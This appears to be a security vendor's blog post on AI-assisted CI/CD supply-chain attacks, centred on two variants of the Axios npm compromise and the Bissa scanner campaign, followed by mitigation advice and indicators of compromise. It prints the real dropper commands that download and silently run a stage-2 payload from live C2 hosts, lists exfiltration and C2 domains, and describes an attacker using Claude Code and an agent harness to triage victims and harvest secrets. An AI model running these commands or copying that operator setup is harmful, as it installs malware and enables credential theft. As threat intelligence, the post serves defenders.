HomeBlog
AI is the New C2 for Supply Chain Attacks

A pattern is emerging in recent CI/CD supply-chain attacks: LLMs running the operator loop, scaling commodity compromises into mass exploitation beyond what a single human operator can achieve. We've observed this in the wild. 

Below: what we saw, why it matters, and what to do about it.

Supply Chain Attacks on CI/CD Are Surging

Since September 2025 we have been seeing a spike in supply chain attacks on the CI/CD pipeline. These attacks follow a similar pattern:

  • Shai-Hulud (September 2025) - the first self-propagating worm in npm. It steals tokens from CI environments, creates a malicious GitHub Actions workflow on push, and uses stolen credentials to publish infected versions of other packages the same maintainer controls.
  • React Native npm compromise (March 2026) — a maintainer account takeover compromised two popular React Native packages (react-native-international-phone-number, react-native-country-select; 130K+ monthly downloads). The same actor rotated through three waves of delivery in 48 hours: direct preinstall hook → infrastructure staging → multi-layer dependency chain. Used Solana crypto blockchain memos as a censorship-resistant C2 (StepSecurity).
  • Axios npm compromise (March 2026) - a compromised maintainer published axios@1.14.1 and axios@0.30.4 with the plain-crypto-js dropper. axios is deployed in ~80% of cloud and code environments.

The recipe is consistent: commodity initial access (a CVE, a maintainer compromise, a worm), then mass credential harvesting from .env files, build artifacts, and CI/CD secrets. What has changed is who’s running the assembly line and operation. 

During the Axios attack we saw something we hadn't seen before.

Evasive Tactics Observed During The Axios Attack 

Mate’s AI SOC agents detect, investigate and hunt for attacks across enterprises. When Axios first broke, our agents detected and investigated multiple instances of the attack. 

In one of these companies, 3 days after the Axios attack started, Mate’s AI agents detected suspicious activity, which was identified as a second, distinct exploitation attempt against the same npm package. The new variant targeted the same surface, but changed some of its specifics - enough to rule out a replay of the first attack.

Here are the commands used in the first attack, and in the second attack. We have highlighted the strings that a static IOC rule would match on. The new variant shifts every one of them but keeps the exact same operation: download a stage-2 from C2, save to disk, execute silently in the background - unchanged.

Original Attack

macOS
sh -c curl -o /Library/Caches/com.apple.act.mond -d packages.npm.org/product0 -s http://sfrclak.com:8000/6202033 && chmod 770 /Library/Caches/com.apple.act.mond && /bin/zsh -c "/Library/Caches/com.apple.act.mond http://sfrclak.com:8000/6202033 &" &> /dev/null

Windows
"C:\ProgramData\wt.exe" -w hidden -ep bypass -file "C:\Users\$USER$\AppData\Local\Temp\6202033.ps1" "http://sfrclak.com:8000/6202033"

Linux
python3 /tmp/ld.py http://sfrclak.com:8000/6202033

New Variant - same operation, different strings

macOS
sh -c curl --silent --output /private/var/tmp/.upd_cache --data packages.npm.org/check1 http://142.11.206.73:8000/setup.js && chmod 755 /private/var/tmp/.upd_cache && /bin/bash -c "/private/var/tmp/.upd_cache http://142.11.206.73:8000/
setup.js &" >/dev/null 2>&1

Windows
"C:\Windows\Temp\dwm.exe" -ExecutionPolicy Bypass -WindowStyle Hidden -File "C:\Users\$USER$\AppData\Local\Microsoft\Edge\update-check.ps1" "http://142.11.206.73:8000/setup.js"

Linux
python3 /dev/shm/.upd_cache http://142.11.206.73:8000/setup.js


What has changed between the original attack and the new variant: 

  • Different URL and file paths
  • different drop locations: (/private/var/tmp instead of /Library/Caches; C:\Windows\Temp instead of C:\ProgramData; tmpfs /dev/shm instead of /tmp)
  • short-form curl/PowerShell flags swapped for long-form
  • redirect syntax (&> → > ... 2>&1)
  • different shell on macOS (zsh → bash)

Two attempts against the same target, three days apart, with sufficient tradecraft difference to rule out copy-paste. Manual retooling of a supply-chain exploit at that cadence is uncommon.  Model-generated variation against a known target is not. 

LLMs can rapidly create multiple variants that will appear different in every exploitation attempt - making their detection virtually impossible when using static rules.

AI was able to detect the attack by treating the variation pattern itself as the signal.

How can LLM unlock mass exploitation?

Pre LLM: the Attacker Bottleneck Was Human Triage

Before LLMs were available for attackers, mass exploitation hit a wall at triage. A scanner with over 900 hits is useless if one person can only check ten hits a day. Pre-LLM operators either kept campaigns small and targeted, or settled for low-value generic post-exploitation. 

The human-triage step capped the campaign.

Figure 1. Pre-LLM CI/CD supply chain attacks. Different initial-access methods (CVE, package compromise, worm) all converged on credential harvesting, but the operator's manual triage capped how many of those compromises could actually be acted on.

The New Era: LLM is the C2 - The Triage Limitation is Gone

The DFIR Report’s Bissa analysis shows where that bottleneck went. The operator ran Claude Code against the scanner codebase and used a local AI control surface (OpenClaw — websocket gateway, browser control, Telegram bridge) to run the pipeline alone. Each confirmed hit was pushed to Telegram as one structured line: victim, runtime, cloud, recoverable secrets per provider.

Figure 2. Same supply-chain attacks with an LLM agent in place of the human-triage step. One operator now does what a small team used to and adds capabilities humans don't scale to (variant generation, surface mapping).
Bissa is the documented case (DFIR Report, April 2026).

In the Bissa Scanner example, AI ran a C2 operation that previously required an entire team. That is the shift we are seeing.

Why Speed Matters: the Defender Lag

The exploit window is shrinking. From the moment an attacker has obtained your .env file, this is what the window looks like:

Credential type First defender signal (typical) Time to remediate
AWS access key GuardDuty UnauthorizedAccess hours – days
Stripe live / restricted key Stripe webhook on key use minutes – hours
Anthropic / OpenAI key Provider billing-anomaly email days – weeks
Plaid client secret Customer complaint / fraud team days – weeks
GitHub PAT GitHub secret-scanning alert hours – days

The attacker pivots in minutes. The defender's first signal usually comes from the vendor, not from your SIEM. This window is where harvested keys get used and monetized.

The lag is structural.

Attacker Speed Has Become the Threat

Today's operators iterate exploits within days. The same harness can map attack surfaces:  internet-facing services, exposed dependencies, leaked secrets - at the same speed and scale, then auto-target. 

More rules won't beat this. You beat it by outpacing attacker speed.

The speed of LLM-assisted iteration has become a threat. CVEs and package compromises will keep landing. The defender problem is no longer preventing every one - it's compressing the time from compromise to action. 

Anything slower than the attacker's harness loses.

What You Can Do About This Today

  • Do: Wire vendor leaked-secret webhooks into your SIEM: Stripe, AWS, GitHub Push Protection, Anthropic billing, Cloudflare audit log, and Auth0.
    Result: Higher fidelity than internal rules; days earlier.
  • Do: Plant canary credentials in common .env paths.
    Result: Highest-fidelity signal for this attack pattern.
  • Do: Move secrets out of .env files baked into images. Inject at runtime (Vault, IRSA, Workload Identity). IMDSv2-only on EC2.
  • Audit lockfiles for axios@1.14.1 / axios@0.30.4 and Shai-Hulud-tagged repos. Block outbound traffic to s3.filebase.com, api.telegram.org, sfrclak[.]com:8000 from app workloads.

Agentic Defense Is Key at This Speed

Static IOC matching can't track attacks that iterate at LLM speed. Every rule is valid for one variant. The second variant breaks it.

The question isn't whether AI-assisted attacks are here; Bissa proved that. The question is whether your detection can match the iteration speed.

Agentic SOC systems handle this differently:

  1. They model behavior, not strings. When an agent sees download-from-C2 → write-to-disk → silent-execute across two attempts with different paths, shells, and flags, it recognizes the pattern. The variation itself is the signal.
  2. They maintain organizational context. An agent that saw the first Axios variant knows your dependencies and CI/CD pipeline. When the second variant hits, it connects them as a campaign, not two isolated alerts.
  3. They act autonomously. The agent doesn't wait for a human to write a new rule. It investigates scope, validates impact, and contains the activity, with the investigation complete when it escalates.

When operators iterate variants in days, your detection window is hours. Anything slower loses.

Related Attacks Indicators of Compromise

Type Value
Bissa — acquirer denemekulubum[.]com[.]tr/acquirer/, wiprz[.]com/acquirer/
Bissa — exfil sink s3.filebase.com (buckets: bissa, bissa2, bissapromax)
Bissa — Telegram bot @bissapwned_bot · ID 8798206332
Bissa — primary CVE CVE-2025-55182
Axios — malicious packages axios@1.14.1, axios@0.30.4, plain-crypto-js@4.2.1
Axios — C2 sfrclak[.]com:8000, callnrwise[.]com, 142.11.206[.]73
Shai-Hulud Public GitHub repos named "Shai-Hulud" or with "-migration" suffix

References

Get a Demo